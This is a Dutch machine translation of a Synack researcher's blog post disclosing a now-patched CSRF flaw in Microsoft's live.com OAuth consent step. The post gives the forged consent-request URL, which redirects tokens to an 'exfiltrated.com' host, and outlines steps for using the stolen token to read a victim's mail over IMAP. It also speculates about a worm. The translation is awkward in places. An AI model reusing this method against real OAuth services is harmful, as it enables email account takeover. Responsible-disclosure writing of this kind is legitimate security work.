bij Synack genieten we echt van grote kwetsbaarheden, of het nu op het web, mobiel, host of zelfs in volledig schandalige apparaten en systemen (satelliet hacking iedereen?). Maar we houden altijd de grote bevindingen die wij en de SRT hebben gemaakt voor onze klanten vertrouwelijk. Dus hoewel dit zal niet een post over een grote vuln in een Synack klant, het dekt de exacte soort ding dat we zien op een wekelijkse of soms dagelijkse basis: een kwetsbaarheid in een systeem met miljoenen gebruikers die leidt tot een volledig compromis van de beveiliging van het systeem.

ik vond onlangs een kwetsbaarheid in Microsoft ‘ s Live.com authenticatiesysteem, dat, als u een account hebt bij een Microsoft-service, waarschijnlijk u zou hebben beïnvloed. Dit bericht beschrijft de volledige details van de kwetsbaarheid nu dat Microsoft het probleem heeft gepatcht.

Inleiding

het gemiddelde begrip van computerbeveiliging is altijd vrij beperkt geweest. Vroeger, als iemand hoorde dat je betrokken was bij computerbeveiliging, zou de standaard Vraag zijn “kun je mijn Hotmail hacken”, of vaker,”kan je de Hotmail van mijn vriend hacken”. Ik veronderstel dat terug in de dag mensen nog gebruikt Yahoo mail en Microsoft had nog te verwerven Hotmail, maar dat is een beetje te ver terug! Onvermijdelijk zou je ofwel suggereren dat de persoon gewoon raden de persoon wachtwoord reset vragen, of installeer Sub7. Eigenlijk hacken Hotmail was gebonden te moeilijk, niet te vergeten volledig illegaal.

de wereld van de informatiebeveiliging is de laatste paar jaar sterk veranderd, en in tegenstelling tot de afgelopen jaren, moedigt Microsoft nu volledig beveiligingsonderzoekers aan om te proberen Hotmail te “hacken”. Natuurlijk Hotmail is omgezet in Outlook.com, en tegenwoordig wil iedereen weten of je hun Facebook kunt hacken, maar dat doet er niet toe.

het Microsoft Online Services bounty-programma is onlangs bijgewerkt om “Microsoft Account” als doel op te nemen, wat in principe de login-systemen zijn die op elk van deze domeinen worden gehost:
– login.windows.net
– login.microsoftonline.com
– login.live.com

in de bovenstaande lijst, login.live.com is het verificatiesysteem dat u zult doorlopen als u probeert te authenticeren aan Outlook.com en een groot aantal andere Microsoft-diensten. Ik besloot om het eerst te onderzoeken om te zien of ik problemen kon ontdekken. Zoals verwacht, de verschillende API ‘ s gebruikt voor het verwerken van een login bleek goed te zijn verhard. Op veel plaatsen bestonden er extra beschermingslagen; op sommige plaatsen worden wachtwoorden bijvoorbeeld versleuteld met een publieke sleutel voordat ze worden verzonden, ondanks alle communicatie via HTTPS.

na het testen van een paar uur, ontdekte ik een paar kleine problemen die ik gemeld, maar niets echt van belang. Bij het testen van webapplicaties vind ik vaak dat de meest voorkomende workflow is ook de meest veilige, dus ik vertakt naar het onderzoeken van andere manieren die een gebruiker kan authenticeren aan de live.com systeem. Bijna een jaar geleden had ik een aantal OAuth kwetsbaarheden in Yammer die ook een Microsoft Online Services bounty target was gevonden, dus dat is waar ik keek volgende voor live.com. Dit is waar de interessante bevindingen beginnen!

kwetsbaarheid Achtergrond

voordat ik direct in de ontdekte kwetsbaarheid, een snel overzicht van het misleide beveiligingssysteem bekend als OAuth is noodzakelijk:

Wikipedia vertelt me dat “OAuth clienttoepassingen een’ beveiligde gedelegeerde toegang ‘biedt aan serverbronnen namens een broneigenaar”. Wikipedia heeft ook een aantal vernietigende opmerkingen over de evolutie en de veiligheid, die de moeite waard om te lezen voor een goede lach zijn. Realistisch, alles wat OAuth doet is het toestaan van een gebruiker om toegang te verlenen tot sommige of alle van hun account toegang tot een derde partij. Ik maakte een MS Paint tekening om dit te illustreren, omdat ik geen grote kon vinden op Wikipedia.

zoals te zien is in de bovenstaande afbeelding, heb je een Server die de gebruiker gemachtigd om toegang te geven tot hun account aan een Client App. Het mechanisme dat dit achter de schermen behandelt kan op verscheidene verschillende manieren worden gebouwd, die in OAuth RFC worden gedefinieerd. Een manier om het te bouwen is een “impliciete” authenticatie stroom, waarbij de authenticatieserver een toegangssleutel direct aan de client geeft. Een andere populaire manier is om een “autorisatiecode” procedure te gebruiken, waarbij de authenticatieserver een autorisatiecode geeft, die het clientsysteem neemt, en vervolgens een toegangssleutel uitwisselt met behulp van de geheime waarde van de client. Microsoft heeft een goede beschrijving van hun gebruik van hoe ze hebben geïmplementeerd deze mechanismen voor live.com hier:
https://msdn.microsoft.com/en-us/library/hh243647.aspx

de afbeelding die ze maakten voor de” autorisatiecode ” stroom ziet er als volgt uit:

een beeld als dat is geweldig voor het begrijpen van het proces, maar voor mij als pen-tester toont ook veel mogelijkheden en plaatsen voor dingen die fout gaan. Dus met dat als de achtergrond, op naar wat werd ontdekt!

Wat Kan Er Mis Gaan?

zoals hierboven vermeld, zijn er veel plaatsen waar iets mis kan gaan. Een van de fundamentele stappen in de OAuth authenticatie procedure is voor een gebruiker om te kiezen om een toepassing toegang te verlenen. Dit wordt meestal bereikt door middel van een prompt als deze:

over het algemeen een gebruiker hoeft alleen maar accepteren deze prompt een keer, maar totdat ze het accepteren, dat app geen toegang tot hun account (of de gemiddelde gebruiker Wes ‘ s Evil App zal toestaan om toegang te krijgen is misschien een andere vraag!).

denkend als een aanvaller, zou het zeker geweldig zijn als we het verzoek namens de gebruiker konden accepteren. Helaas voor mij, de “X-Frame-Options” header was ingesteld op “deny” (x-frame-options instellingen waren buiten het bereik voor deze bounty ook). Dus terwijl clickjacking is uit, heb ik besloten om een beter begrip van hoe het verzoek zelf werkte krijgen. Als een gebruiker op “Yes” klikt, wordt het volgende verzoek naar de server gepost (plus enkele saaie headers):

terwijl de URL pad hierboven bevat een aantal gegenereerde tokens, testen bleek dat ze niet nodig waren voor het verzoek om te slagen. Een bericht naar de volgende URL zou net zo goed werken:

https://account.live.com/Consent/Update?ru=https://login.live.com/oauth20_authorize.srf%3flc%3d1033%26client_id%3d000000004C15E107% 26scope%3dwl.basic % 26response_type % 3dcode % 26redirect_uri%3dhttp:// exfiltrated.com&client_id = 000000004C15E107&rd = exfiltrated.com&toepassingsgebied=wl.basic

de cookie die met het verzoek werd verzonden, was nodig om een geldig sessietoken in “IPT”te bevatten. Deze cookiewaarde wordt ingevuld door HTTPS:/ / login.live.com / oauth20_authorize.srf voordat de pagina die de gebruiker om toestemming vraagt wordt weergegeven. Dit gebeurt ongeacht of een gebruiker uiteindelijk klikt “ja”, hoewel het is ingesteld door een aantal Javascript-code, dus als we aanvallen dit proces, zouden we de gebruiker te dwingen om die pagina te laden op een bepaald punt.

als je volgt, hopelijk vraag je nu, ” OK, dus hoe zit het met de POST aanvraag zelf, en die kanarie waarde?”. Ik had alle andere parameters en communicatie stromen eerst onderzocht, als het zien van een waarde gelabeld “canary” wordt verzonden met een bericht verzoek bijna zeker betekent dat het wordt gebruikt als een token om CSRF-aanvallen te voorkomen. Het punt van beveiligingstesten is echter om na te gaan of aannames inderdaad juist zijn. Dus ik wijzigde de POST verzoek, en veranderde de Canarische waarde “hacks_go_here”. In plaats van om te leiden naar een 500-fout, stuurde de server een positieve reactie terug!

CSRF tot PoC

aangezien het CSRF-token het laatste was waar ik mee probeerde te knoeien, wist ik zeker dat dit een geldige CSRF-kwetsbaarheid zou moeten opleveren. Zoals bij bijna elke CSRF aanval, de enige voorwaarde was dat het slachtoffer was ingelogd, en had een geldige sessie token in hun cookie. In tegenstelling tot veel andere web kwetsbaarheden, de impact van een CSRF kwetsbaarheid is volledig afhankelijk van de getroffen API-functie. Deze CSRF laat me omzeilen de gebruiker interactie stap van de OAuth authenticatie systeem, maar een PoC is de moeite waard duizend woorden, dus de volgende stap was om een aantal code om de juiste demo de impact van deze kwetsbaarheid te bouwen.

in de normale OAuth-authenticatiestroom moet de server, nadat de gebruiker toegang heeft verleend, een toegangscode aan de gebruiker retourneren. De gebruiker geeft dit door aan de clienttoepassing, die vervolgens de verleende machtigingen kan gebruiken. A live.com clienttoepassing kan een breed scala aan mogelijke machtigingen aanvragen. Ik overwoog gewoon het dumpen van de contacten van de gebruiker of iets dergelijks, maar waarom offer op het doel van het hacken van Hotmail nu? De permissies die mijn PoC toen nodig had waren:

wl.offline_access + wl.imap

Offline was niet zo nodig, maar ik gooide het in om te laten zien dat het zou worden verleend.

als de benodigde machtigingen zijn gekozen, zijn er 4 stappen om toegang te krijgen tot het e-mailaccount van een gebruiker:

1) We moeten een autorisatieaanvraag indienen voor onze client-app met behulp van de bovenstaande machtigingen. De server zal de gebruiker vragen om te accepteren of te weigeren.
2) Wanneer een gebruiker onze aanvraag voor deze rechten accepteert, zal de server een “#access_token=<token>” parameter toevoegen aan de omleiding die wij hem instrueren.
3) aangezien onze scripts aan de serverzijde toegang tot die waarde nodig hebben, moeten we een eenvoudige pagina maken om het token uit het URL-veld van de browser te nemen en door te geven aan onze server.
4) tot slot hebben we een aantal scripts server kant nodig om dat token te nemen, en het te gebruiken om in te loggen op IMAP. Microsoft heeft een enigszins ingewikkeld proces voor het gebruik van de OAuth token om direct in te loggen via IMAP. Hiervoor bestaan een paar voorbeeldbibliotheken, en het hele proces wordt op deze pagina beschreven:
https://msdn.microsoft.com/en-us/library/dn440163.aspx

die workflow zou prima werken als de gebruiker ervoor kiest om ons toestemming te geven. Ik hoef nu alleen maar de workflow aan te passen om in plaats daarvan de CSRF op te nemen. Zoals eerder opgemerkt, de live.com authenticatieserver verwacht een sessietoken in de IPT-cookie. We kunnen ervoor zorgen dat dit wordt ingevuld door eerst de gebruiker te sturen naar een validhttps://login.live.com/oauth20_authorize.srf pagina. Onmiddellijk daarna kunnen we het CSRF-verzoek uitvoeren waarbij gebruik wordt gemaakt van de nieuw ingevulde cookiewaarde. Dit kan nu stap 1 vervangen en de server dwingen om onmiddellijk naar stap 2 te springen.

Demo en Impact

Microsoft heeft dit probleem nu opgelost, maar hier is een snelle video die het in actie laat zien.

zoals te zien is in de video, alles wat echt nodig is om het slachtoffer te krijgen om uw kwaadaardige webpagina te bezoeken. De demo was niet ontworpen om stiekem te zijn en draaien op de achtergrond van een website, of als onderdeel van een kwaadaardige banner advertentie, maar het zou zeker zijn gemaakt op die manier.

het gebruik van dit als een gerichte aanval heeft zeker een grote impact, maar dit is ook de perfecte kwetsbaarheid om in een worm te veranderen. Met IMAP en contact book access, een worm kan gemakkelijk e-mail alle contacten van een gebruiker (of in ieder geval degenen die Hotmail gebruiken, Outlook.com, etc), met iets verleidelijk, “ILOVEYOU” virus stijl, en verspreid naar elke gebruiker die op de link klikt.

Final Thoughts and Timeline

het opsporen van deze kwetsbaarheid en het maken van een werkende PoC kostte een behoorlijke hoeveelheid moeite om de verschillende live.com API ‘ s. Terugkijkend op het allemaal echter, dit is echt gewoon een klassieke CSRF kwetsbaarheid. Het enige dat is verrassend over het is dat het in een kritische authenticatie systeem dat uiteindelijk kan worden gebruikt om het account van elke gebruiker over te nemen.

als een externe tester heb ik geen idee hoe lang deze kwetsbaarheid kan bestaan, of als iemand ooit geprobeerd om het te exploiteren. Op hetzelfde moment, het is bevindingen als deze die zeker laten zien de waarde van het toestaan van externe testers om kwetsbaarheden in te dienen aan uw bedrijf voordat aanvallers gebruik maken van hen tegen u. Microsoft is ver voor op de meeste bedrijven als het gaat om beveiliging, en toch zijn nog steeds sueptible voor problemen als deze. Synack ‘ s ervaring is dat kwetsbaarheden worden ontdekt, zelfs in schijnbaar goed beveiligde systemen wanneer een grote groep van externe onderzoekers testen dat systeem. Dat is in wezen de veronderstelling dat Synack werkt op, en is de reden waarom meer en meer bedrijven bieden hun eigen bounty programma ’s (ik, natuurlijk, zou aanraden Synack’ s programma boven het runnen van uw eigen!).

zoals te zien is in de tijdlijn hieronder, was Microsoft responsief in het krijgen van een oplossing voor dit probleem uit, wat geweldig was om te zien.

tijdlijn:
23 augustus 2015: kwetsbaarheid ontdekt
25 augustus 2015: kwetsbaarheid gemeld aan Microsoft
31 augustus 2015: Microsoft issues case number for vulnerability
15 September 2015: Microsoft releases fix for issue, issues $24,000 bounty (double bounties promo)